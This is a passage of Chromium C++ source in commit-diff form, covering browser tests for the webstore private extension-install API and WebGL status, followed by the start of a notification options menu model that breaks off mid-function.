ASSERT_TRUE(test_server()->Start());\n ExtensionInstallUI::DisableFailureUIForTests();\n }\n\n protected:\n \/\/ Returns a test server URL, but with host 'www.example.com' so it matches\n \/\/ the web store app's extent that we set up via command line flags.\n GURL GetTestServerURL(const std::string& path) {\n GURL url = test_server()->GetURL(\n std::string(\"files\/extensions\/api_test\/webstore_private\/\") + path);\n\n \/\/ Replace the host with 'www.example.com' so it matches the web store\n \/\/ app's extent.\n GURL::Replacements replace_host;\n std::string host_str(\"www.example.com\");\n replace_host.SetHostStr(host_str);\n\n return url.ReplaceComponents(replace_host);\n }\n\n \/\/ Navigates to |page| and runs the Extension API test there. Any downloads\n \/\/ of extensions will return the contents of |crx_file|.\n bool RunInstallTest(const std::string& page, const std::string& crx_file) {\n GURL crx_url = GetTestServerURL(crx_file);\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryUpdateURL, crx_url.spec());\n\n GURL page_url = GetTestServerURL(page);\n return RunPageTest(page_url.spec());\n }\n\n ExtensionService* service() {\n return browser()->profile()->GetExtensionService();\n }\n};\n\nclass ExtensionWebstorePrivateBundleTest\n : public ExtensionWebstorePrivateApiTest {\n public:\n void SetUpInProcessBrowserTestFixture() OVERRIDE {\n ExtensionWebstorePrivateApiTest::SetUpInProcessBrowserTestFixture();\n\n \/\/ The test server needs to have already started, so setup the switch here\n \/\/ rather than in SetUpCommandLine.\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryDownloadURL,\n GetTestServerURL(\"bundle\/%s.crx\").spec());\n\n PackCRX(\"begfmnajjkbjdgmffnjaojchoncnmngg\");\n PackCRX(\"bmfoocgfinpmkmlbjhcbofejhkhlbchk\");\n PackCRX(\"mpneghmdnmaolkljkipbhaienajcflfe\");\n }\n\n void TearDownInProcessBrowserTestFixture() OVERRIDE {\n ExtensionWebstorePrivateApiTest::TearDownInProcessBrowserTestFixture();\n for (size_t i = 0; i < test_crx_.size(); ++i)\n ASSERT_TRUE(file_util::Delete(test_crx_[i], false));\n }\n\n private:\n void PackCRX(const std::string& id) {\n FilePath data_path = test_data_dir_.AppendASCII(\"webstore_private\/bundle\");\n FilePath dir_path = data_path.AppendASCII(id);\n FilePath pem_path = data_path.AppendASCII(id + \".pem\");\n FilePath crx_path = data_path.AppendASCII(id + \".crx\");\n FilePath destination = PackExtensionWithOptions(\n dir_path, crx_path, pem_path, FilePath());\n\n ASSERT_FALSE(destination.empty());\n ASSERT_EQ(destination, crx_path);\n\n test_crx_.push_back(destination);\n }\n\n std::vector<FilePath> test_crx_;\n};\n\nclass ExtensionWebstoreGetWebGLStatusTest : public InProcessBrowserTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n \/\/ In linux, we need to launch GPU process to decide if WebGL is allowed.\n \/\/ Run it on top of osmesa to avoid bot driver issues.\n#if defined(OS_LINUX)\n CHECK(test_launcher_utils::OverrideGLImplementation(\n command_line, gfx::kGLImplementationOSMesaName)) <<\n \"kUseGL must not be set multiple times!\";\n#endif\n }\n\n protected:\n void RunTest(bool webgl_allowed) {\n static const char kEmptyArgs[] = \"[]\";\n static const char kWebGLStatusAllowed[] = \"webgl_allowed\";\n static const char kWebGLStatusBlocked[] = \"webgl_blocked\";\n scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n new GetWebGLStatusFunction(), kEmptyArgs, browser()));\n EXPECT_EQ(base::Value::TYPE_STRING, result->GetType());\n StringValue* value = static_cast<StringValue*>(result.get());\n std::string webgl_status = \"\";\n EXPECT_TRUE(value && value->GetAsString(&webgl_status));\n EXPECT_STREQ(webgl_allowed ? kWebGLStatusAllowed : kWebGLStatusBlocked,\n webgl_status.c_str());\n }\n};\n\n\/\/ Test cases where the user accepts the install confirmation dialog.\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, FLAKY_InstallAccepted) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n ASSERT_TRUE(RunInstallTest(\"accepted.html\", \"extension.crx\"));\n}\n\n\/\/ Test having the default download directory missing.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, MissingDownloadDir) {\n \/\/ Set a non-existent directory as the download path.\n ScopedTempDir temp_dir;\n EXPECT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath missing_directory = temp_dir.Take();\n EXPECT_TRUE(file_util::Delete(missing_directory, true));\n WebstoreInstaller::SetDownloadDirectoryForTests(&missing_directory);\n\n \/\/ Now run the install test, which should succeed.\n ASSERT_TRUE(RunInstallTest(\"accepted.html\", \"extension.crx\"));\n\n \/\/ Cleanup.\n if (file_util::DirectoryExists(missing_directory))\n EXPECT_TRUE(file_util::Delete(missing_directory, true));\n}\n\n\/\/ Tests passing a localized name.\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n FLAKY_InstallLocalized) {\n ASSERT_TRUE(RunInstallTest(\"localized.html\", \"localized_extension.crx\"));\n}\n\n\/\/ Now test the case where the user cancels the confirmation dialog.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, InstallCancelled) {\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryInstallAutoConfirmForTests, \"cancel\");\n ASSERT_TRUE(RunInstallTest(\"cancelled.html\", \"extension.crx\"));\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IncorrectManifest1) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"incorrect_manifest1.html\", \"extension.crx\"));\n listener.Wait();\n ASSERT_TRUE(listener.received_failure());\n ASSERT_EQ(\"Manifest file is invalid.\", listener.error());\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IncorrectManifest2) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"incorrect_manifest2.html\", \"extension.crx\"));\n listener.Wait();\n EXPECT_TRUE(listener.received_failure());\n ASSERT_EQ(\"Manifest file is invalid.\", listener.error());\n}\n\n\/\/ Tests that we can request an app installed bubble (instead of the default\n\/\/ UI when an app is installed).\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n FLAKY_AppInstallBubble) {\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"app_install_bubble.html\", \"app.crx\"));\n listener.Wait();\n ASSERT_TRUE(listener.received_success());\n ASSERT_EQ(\"iladmdjkfniedhfhcfoefgojhgaiaccc\", listener.id());\n}\n\n\/\/ Tests using the iconUrl parameter to the install function.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IconUrl) {\n ASSERT_TRUE(RunInstallTest(\"icon_url.html\", \"extension.crx\"));\n}\n\n\/\/ Tests using silentlyInstall to install extensions.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateBundleTest, SilentlyInstall) {\n WebstorePrivateApi::SetTrustTestIDsForTesting(true);\n ASSERT_TRUE(RunPageTest(GetTestServerURL(\"silently_install.html\").spec()));\n}\n\n\/\/ Tests getWebGLStatus function when WebGL is allowed.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstoreGetWebGLStatusTest, Allowed) {\n bool webgl_allowed = true;\n RunTest(webgl_allowed);\n}\n\n\/\/ Tests getWebGLStatus function when WebGL is blacklisted.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstoreGetWebGLStatusTest, Blocked) {\n static const std::string json_blacklist =\n \"{\\n\"\n \" \\\"name\\\": \\\"gpu blacklist\\\",\\n\"\n \" \\\"version\\\": \\\"1.0\\\",\\n\"\n \" \\\"entries\\\": [\\n\"\n \" {\\n\"\n \" \\\"id\\\": 1,\\n\"\n \" \\\"blacklist\\\": [\\n\"\n \" \\\"webgl\\\"\\n\"\n \" ]\\n\"\n \" }\\n\"\n \" ]\\n\"\n \"}\";\n scoped_ptr<Version> os_version(Version::GetVersionFromString(\"1.0\"));\n GpuBlacklist* blacklist = new GpuBlacklist(\"1.0\");\n\n ASSERT_TRUE(blacklist->LoadGpuBlacklist(\n json_blacklist, GpuBlacklist::kAllOs));\n GpuDataManager::GetInstance()->SetGpuBlacklist(blacklist);\n GpuFeatureFlags flags = GpuDataManager::GetInstance()->GetGpuFeatureFlags();\n EXPECT_EQ(\n flags.flags(), static_cast<uint32>(GpuFeatureFlags::kGpuFeatureWebgl));\n\n bool webgl_allowed = false;\n RunTest(webgl_allowed);\n}\n<commit_msg>Mark ExtensionWebstorePrivateApiTest.SilentlyInstall as flaky.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <vector>\n\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_function_test_utils.h\"\n#include \"chrome\/browser\/extensions\/extension_install_dialog.h\"\n#include \"chrome\/browser\/extensions\/extension_install_ui.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_webstore_private_api.h\"\n#include \"chrome\/browser\/extensions\/webstore_installer.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_notification_types.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/test_launcher_utils.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"content\/browser\/gpu\/gpu_blacklist.h\"\n#include \"content\/public\/browser\/notification_observer.h\"\n#include \"content\/public\/browser\/notification_registrar.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n#include \"ui\/gfx\/gl\/gl_switches.h\"\n\nusing namespace extension_function_test_utils;\n\nnamespace {\n\nclass WebstoreInstallListener : public WebstoreInstaller::Delegate {\n public:\n WebstoreInstallListener()\n : received_failure_(false), received_success_(false), waiting_(false) {}\n\n void OnExtensionInstallSuccess(const std::string& id) OVERRIDE;\n void OnExtensionInstallFailure(const std::string& id,\n const std::string& error) OVERRIDE;\n void Wait();\n\n bool received_failure() const { return received_failure_; }\n bool received_success() const { return received_success_; }\n const std::string& id() const { return id_; }\n const std::string& error() const { return error_; }\n\n private:\n bool received_failure_;\n bool received_success_;\n bool waiting_;\n std::string id_;\n std::string error_;\n};\n\nvoid WebstoreInstallListener::OnExtensionInstallSuccess(const std::string& id) {\n received_success_ = true;\n id_ = id;\n\n if (waiting_) {\n waiting_ = false;\n MessageLoopForUI::current()->Quit();\n }\n}\n\nvoid WebstoreInstallListener::OnExtensionInstallFailure(\n const std::string& id, const std::string& error) {\n received_failure_ = true;\n id_ = id;\n error_ = error;\n\n if (waiting_) {\n waiting_ = false;\n MessageLoopForUI::current()->Quit();\n }\n}\n\nvoid WebstoreInstallListener::Wait() {\n if (received_success_ || received_failure_)\n return;\n\n waiting_ = true;\n ui_test_utils::RunMessageLoop();\n}\n\n} \/\/ namespace\n\n\/\/ A base class for tests below.\nclass ExtensionWebstorePrivateApiTest : public ExtensionApiTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(\n switches::kAppsGalleryURL, \"http:\/\/www.example.com\");\n command_line->AppendSwitchASCII(\n switches::kAppsGalleryInstallAutoConfirmForTests, \"accept\");\n }\n\n void SetUpInProcessBrowserTestFixture() OVERRIDE {\n \/\/ Start up the test server and get us ready for calling the install\n \/\/ API functions.\n host_resolver()->AddRule(\"www.example.com\", \"127.0.0.1\");\n ASSERT_TRUE(test_server()->Start());\n ExtensionInstallUI::DisableFailureUIForTests();\n }\n\n protected:\n \/\/ Returns a test server URL, but with host 'www.example.com' so it matches\n \/\/ the web store app's extent that we set up via command line flags.\n GURL GetTestServerURL(const std::string& path) {\n GURL url = test_server()->GetURL(\n std::string(\"files\/extensions\/api_test\/webstore_private\/\") + path);\n\n \/\/ Replace the host with 'www.example.com' so it matches the web store\n \/\/ app's extent.\n GURL::Replacements replace_host;\n std::string host_str(\"www.example.com\");\n replace_host.SetHostStr(host_str);\n\n return url.ReplaceComponents(replace_host);\n }\n\n \/\/ Navigates to |page| and runs the Extension API test there. Any downloads\n \/\/ of extensions will return the contents of |crx_file|.\n bool RunInstallTest(const std::string& page, const std::string& crx_file) {\n GURL crx_url = GetTestServerURL(crx_file);\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryUpdateURL, crx_url.spec());\n\n GURL page_url = GetTestServerURL(page);\n return RunPageTest(page_url.spec());\n }\n\n ExtensionService* service() {\n return browser()->profile()->GetExtensionService();\n }\n};\n\nclass ExtensionWebstorePrivateBundleTest\n : public ExtensionWebstorePrivateApiTest {\n public:\n void SetUpInProcessBrowserTestFixture() OVERRIDE {\n ExtensionWebstorePrivateApiTest::SetUpInProcessBrowserTestFixture();\n\n \/\/ The test server needs to have already started, so setup the switch here\n \/\/ rather than in SetUpCommandLine.\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryDownloadURL,\n GetTestServerURL(\"bundle\/%s.crx\").spec());\n\n PackCRX(\"begfmnajjkbjdgmffnjaojchoncnmngg\");\n PackCRX(\"bmfoocgfinpmkmlbjhcbofejhkhlbchk\");\n PackCRX(\"mpneghmdnmaolkljkipbhaienajcflfe\");\n }\n\n void TearDownInProcessBrowserTestFixture() OVERRIDE {\n ExtensionWebstorePrivateApiTest::TearDownInProcessBrowserTestFixture();\n for (size_t i = 0; i < test_crx_.size(); ++i)\n ASSERT_TRUE(file_util::Delete(test_crx_[i], false));\n }\n\n private:\n void PackCRX(const std::string& id) {\n FilePath data_path = test_data_dir_.AppendASCII(\"webstore_private\/bundle\");\n FilePath dir_path = data_path.AppendASCII(id);\n FilePath pem_path = data_path.AppendASCII(id + \".pem\");\n FilePath crx_path = data_path.AppendASCII(id + \".crx\");\n FilePath destination = PackExtensionWithOptions(\n dir_path, crx_path, pem_path, FilePath());\n\n ASSERT_FALSE(destination.empty());\n ASSERT_EQ(destination, crx_path);\n\n test_crx_.push_back(destination);\n }\n\n std::vector<FilePath> test_crx_;\n};\n\nclass ExtensionWebstoreGetWebGLStatusTest : public InProcessBrowserTest {\n public:\n void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n \/\/ In linux, we need to launch GPU process to decide if WebGL is allowed.\n \/\/ Run it on top of osmesa to avoid bot driver issues.\n#if defined(OS_LINUX)\n CHECK(test_launcher_utils::OverrideGLImplementation(\n command_line, gfx::kGLImplementationOSMesaName)) <<\n \"kUseGL must not be set multiple times!\";\n#endif\n }\n\n protected:\n void RunTest(bool webgl_allowed) {\n static const char kEmptyArgs[] = \"[]\";\n static const char kWebGLStatusAllowed[] = \"webgl_allowed\";\n static const char kWebGLStatusBlocked[] = \"webgl_blocked\";\n scoped_ptr<base::Value> result(RunFunctionAndReturnResult(\n new GetWebGLStatusFunction(), kEmptyArgs, browser()));\n EXPECT_EQ(base::Value::TYPE_STRING, result->GetType());\n StringValue* value = static_cast<StringValue*>(result.get());\n std::string webgl_status = \"\";\n EXPECT_TRUE(value && value->GetAsString(&webgl_status));\n EXPECT_STREQ(webgl_allowed ? kWebGLStatusAllowed : kWebGLStatusBlocked,\n webgl_status.c_str());\n }\n};\n\n\/\/ Test cases where the user accepts the install confirmation dialog.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, InstallAccepted) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n ASSERT_TRUE(RunInstallTest(\"accepted.html\", \"extension.crx\"));\n}\n\n\/\/ Test having the default download directory missing.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, MissingDownloadDir) {\n \/\/ Set a non-existent directory as the download path.\n ScopedTempDir temp_dir;\n EXPECT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath missing_directory = temp_dir.Take();\n EXPECT_TRUE(file_util::Delete(missing_directory, true));\n WebstoreInstaller::SetDownloadDirectoryForTests(&missing_directory);\n\n \/\/ Now run the install test, which should succeed.\n ASSERT_TRUE(RunInstallTest(\"accepted.html\", \"extension.crx\"));\n\n \/\/ Cleanup.\n if (file_util::DirectoryExists(missing_directory))\n EXPECT_TRUE(file_util::Delete(missing_directory, true));\n}\n\n\/\/ Tests passing a localized name.\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n FLAKY_InstallLocalized) {\n ASSERT_TRUE(RunInstallTest(\"localized.html\", \"localized_extension.crx\"));\n}\n\n\/\/ Now test the case where the user cancels the confirmation dialog.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest, InstallCancelled) {\n CommandLine::ForCurrentProcess()->AppendSwitchASCII(\n switches::kAppsGalleryInstallAutoConfirmForTests, \"cancel\");\n ASSERT_TRUE(RunInstallTest(\"cancelled.html\", \"extension.crx\"));\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IncorrectManifest1) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"incorrect_manifest1.html\", \"extension.crx\"));\n listener.Wait();\n ASSERT_TRUE(listener.received_failure());\n ASSERT_EQ(\"Manifest file is invalid.\", listener.error());\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IncorrectManifest2) {\n ScopedTempDir temp_dir;\n ASSERT_TRUE(temp_dir.CreateUniqueTempDir());\n FilePath temp_path = temp_dir.path();\n WebstoreInstaller::SetDownloadDirectoryForTests(&temp_path);\n\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"incorrect_manifest2.html\", \"extension.crx\"));\n listener.Wait();\n EXPECT_TRUE(listener.received_failure());\n ASSERT_EQ(\"Manifest file is invalid.\", listener.error());\n}\n\n\/\/ Tests that we can request an app installed bubble (instead of the default\n\/\/ UI when an app is installed).\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n FLAKY_AppInstallBubble) {\n WebstoreInstallListener listener;\n WebstorePrivateApi::SetWebstoreInstallerDelegateForTesting(&listener);\n ASSERT_TRUE(RunInstallTest(\"app_install_bubble.html\", \"app.crx\"));\n listener.Wait();\n ASSERT_TRUE(listener.received_success());\n ASSERT_EQ(\"iladmdjkfniedhfhcfoefgojhgaiaccc\", listener.id());\n}\n\n\/\/ Tests using the iconUrl parameter to the install function.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateApiTest,\n IconUrl) {\n ASSERT_TRUE(RunInstallTest(\"icon_url.html\", \"extension.crx\"));\n}\n\n\/\/ Tests using silentlyInstall to install extensions.\n\/\/\n\/\/ flaky: http:\/\/crbug.com\/111308\nIN_PROC_BROWSER_TEST_F(ExtensionWebstorePrivateBundleTest,\n FLAKY_SilentlyInstall) {\n WebstorePrivateApi::SetTrustTestIDsForTesting(true);\n ASSERT_TRUE(RunPageTest(GetTestServerURL(\"silently_install.html\").spec()));\n}\n\n\/\/ Tests getWebGLStatus function when WebGL is allowed.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstoreGetWebGLStatusTest, Allowed) {\n bool webgl_allowed = true;\n RunTest(webgl_allowed);\n}\n\n\/\/ Tests getWebGLStatus function when WebGL is blacklisted.\nIN_PROC_BROWSER_TEST_F(ExtensionWebstoreGetWebGLStatusTest, Blocked) {\n static const std::string json_blacklist =\n \"{\\n\"\n \" \\\"name\\\": \\\"gpu blacklist\\\",\\n\"\n \" \\\"version\\\": \\\"1.0\\\",\\n\"\n \" \\\"entries\\\": [\\n\"\n \" {\\n\"\n \" \\\"id\\\": 1,\\n\"\n \" \\\"blacklist\\\": [\\n\"\n \" \\\"webgl\\\"\\n\"\n \" ]\\n\"\n \" }\\n\"\n \" ]\\n\"\n \"}\";\n scoped_ptr<Version> os_version(Version::GetVersionFromString(\"1.0\"));\n GpuBlacklist* blacklist = new GpuBlacklist(\"1.0\");\n\n ASSERT_TRUE(blacklist->LoadGpuBlacklist(\n json_blacklist, GpuBlacklist::kAllOs));\n GpuDataManager::GetInstance()->SetGpuBlacklist(blacklist);\n GpuFeatureFlags flags = GpuDataManager::GetInstance()->GetGpuFeatureFlags();\n EXPECT_EQ(\n flags.flags(), static_cast<uint32>(GpuFeatureFlags::kGpuFeatureWebgl));\n\n bool webgl_allowed = false;\n RunTest(webgl_allowed);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/notifications\/notification_options_menu_model.h\"\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/logging.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/notifications\/balloon_collection.h\"\n#include \"chrome\/browser\/notifications\/balloon_host.h\"\n#include \"chrome\/browser\/notifications\/desktop_notification_service.h\"\n#include \"chrome\/browser\/notifications\/desktop_notification_service_factory.h\"\n#include \"chrome\/browser\/notifications\/notification.h\"\n#include \"chrome\/browser\/notifications\/notification_ui_manager.h\"\n#include \"chrome\/browser\/notifications\/notifications_prefs_cache.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser_list.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/content_settings_types.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\n\/\/ Menu commands\nconst int kTogglePermissionCommand = 0;\nconst int kToggleExtensionCommand = 1;\nconst int kOpenContentSettingsCommand = 2;\nconst int kCornerSelectionSubMenu = 3;\n\nconst int kCornerGroupId = 10;\nconst int kCornerUpperLeft = 11;\nconst int kCornerUpperRight = 12;\nconst int kCornerLowerLeft = 13;\nconst int kCornerLowerRight = 14;\nconst int kCornerDefault = 20;\n\nCornerSelectionMenuModel::CornerSelectionMenuModel(Balloon* balloon)\n : ALLOW_THIS_IN_INITIALIZER_LIST(ui::SimpleMenuModel(this)),\n balloon_(balloon) {\n AddRadioItem(kCornerDefault,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_DEFAULT),\n kCornerGroupId);\n AddSeparator();\n AddRadioItem(kCornerUpperLeft,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_UPPER_LEFT),\n kCornerGroupId);\n AddRadioItem(kCornerUpperRight,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_UPPER_RIGHT),\n kCornerGroupId);\n AddRadioItem(kCornerLowerLeft,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_LOWER_LEFT),\n kCornerGroupId);\n AddRadioItem(kCornerLowerRight,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_POSITION_LOWER_RIGHT),\n kCornerGroupId);\n}\n\nCornerSelectionMenuModel::~CornerSelectionMenuModel() {\n}\n\nbool CornerSelectionMenuModel::IsCommandIdChecked(int command_id) const {\n NotificationUIManager* ui = g_browser_process->notification_ui_manager();\n BalloonCollection::PositionPreference current = ui->GetPositionPreference();\n\n LOG(INFO) << \"Current position preference: \" << current;\n\n if (command_id == kCornerUpperLeft)\n return (current == BalloonCollection::UPPER_LEFT);\n else if (command_id == kCornerUpperRight)\n return (current == BalloonCollection::UPPER_RIGHT);\n else if (command_id == kCornerLowerLeft)\n return (current == BalloonCollection::LOWER_LEFT);\n else if (command_id == kCornerLowerRight)\n return (current == BalloonCollection::LOWER_RIGHT);\n else if (command_id == kCornerDefault)\n return (current == BalloonCollection::DEFAULT_POSITION);\n\n NOTREACHED();\n return false;\n}\n\nbool CornerSelectionMenuModel::IsCommandIdEnabled(int command_id) const {\n \/\/ All the menu options are always enabled.\n return true;\n}\n\nbool CornerSelectionMenuModel::GetAcceleratorForCommandId(\n int command_id, ui::Accelerator* accelerator) {\n \/\/ Currently no accelerators.\n return false;\n}\n\nvoid CornerSelectionMenuModel::ExecuteCommand(int command_id) {\n NotificationUIManager* ui = g_browser_process->notification_ui_manager();\n\n LOG(INFO) << \"Executing command: \" << command_id;\n\n if (command_id == kCornerUpperLeft)\n ui->SetPositionPreference(BalloonCollection::UPPER_LEFT);\n else if (command_id == kCornerUpperRight)\n ui->SetPositionPreference(BalloonCollection::UPPER_RIGHT);\n else if (command_id == kCornerLowerLeft)\n ui->SetPositionPreference(BalloonCollection::LOWER_LEFT);\n else if (command_id == kCornerLowerRight)\n ui->SetPositionPreference(BalloonCollection::LOWER_RIGHT);\n else if (command_id == kCornerDefault)\n ui->SetPositionPreference(BalloonCollection::DEFAULT_POSITION);\n else\n NOTREACHED();\n}\n\nNotificationOptionsMenuModel::NotificationOptionsMenuModel(Balloon* balloon)\n : ALLOW_THIS_IN_INITIALIZER_LIST(ui::SimpleMenuModel(this)),\n balloon_(balloon) {\n\n const Notification& notification = balloon->notification();\n const GURL& origin = notification.origin_url();\n\n if (origin.SchemeIs(chrome::kExtensionScheme)) {\n const string16 disable_label = l10n_util::GetStringUTF16(\n IDS_EXTENSIONS_DISABLE);\n AddItem(kToggleExtensionCommand, disable_label);\n } else {\n const string16 disable_label = l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_REVOKE_MESSAGE,\n notification.display_source());\n AddItem(kTogglePermissionCommand, disable_label);\n }\n\n const string16 settings_label = l10n_util::GetStringUTF16(\n IDS_NOTIFICATIONS_SETTINGS_BUTTON);\n AddItem(kOpenContentSettingsCommand, settings_label);\n\n corner_menu_model_.reset(new CornerSelectionMenuModel(balloon));\n AddSubMenu(kCornerSelectionSubMenu,\n l10n_util::GetStringUTF16(IDS_NOTIFICATION_CHOOSE_POSITION),\n corner_menu_model_.get());\n}\n\nNotificationOptionsMenuModel::~NotificationOptionsMenuModel() {\n}\n\nbool NotificationOptionsMenuModel::IsItemForCommandIdDynamic(int command_id)\n const {\n return command_id == kTogglePermissionCommand ||\n command_id == kToggleExtensionCommand;\n}\n\nstring16 NotificationOptionsMenuModel::GetLabelForCommandId(int command_id)\n const {\n \/\/ TODO(tfarina,johnnyg): Remove this code if we decide to close notifications\n \/\/ after permissions are revoked.\n if (command_id == kTogglePermissionCommand ||\n command_id == kToggleExtensionCommand) {\n const Notification& notification = balloon_->notification();\n const GURL& origin = notification.origin_url();\n\n DesktopNotificationService* service =\n DesktopNotificationServiceFactory::GetForProfile(balloon_->profile());\n if (origin.SchemeIs(chrome::kExtensionScheme)) {\n ExtensionService* ext_service =\n balloon_->profile()->GetExtensionService();\n const Extension* extension = ext_service->GetExtensionByURL(origin);\n if (extension) {\n ExtensionPrefs* extension_prefs = ext_service->extension_prefs();\n const std::string& id = extension->id();\n if (extension_prefs->GetExtensionState(id) == Extension::ENABLED)\n return l10n_util::GetStringUTF16(IDS_EXTENSIONS_DISABLE);\n else\n return l10n_util::GetStringUTF16(IDS_EXTENSIONS_ENABLE);\n }\n } else {\n if (service->GetContentSetting(origin) == CONTENT_SETTING_ALLOW) {\n return l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_REVOKE_MESSAGE,\n notification.display_source());\n } else {\n return l10n_util::GetStringFUTF16(\n IDS_NOTIFICATION_BALLOON_ENABLE_MESSAGE,\n notification.display_source());\n }\n }\n } else if (command_id == kOpenContentSettingsCommand) {\n return l10n_util::GetStringUTF16(IDS_NOTIFICATIONS_SETTINGS_BUTTON);\n }\n return string16();\n}\n\nbool NotificationOptionsMenuModel::IsCommandIdChecked(int \/* command_id *\/)\n const {\n \/\/ Nothing in the menu is checked.\n return false;\n}\n\nbool NotificationOptionsMenuModel::IsCommandIdEnabled(int \/* command_id *\/)\n const {\n \/\/ All the menu options are always enabled.\n return true;\n}\n\nbool NotificationOptionsMenuModel::GetAcceleratorForCommandId(\n int \/* command_id *\/, 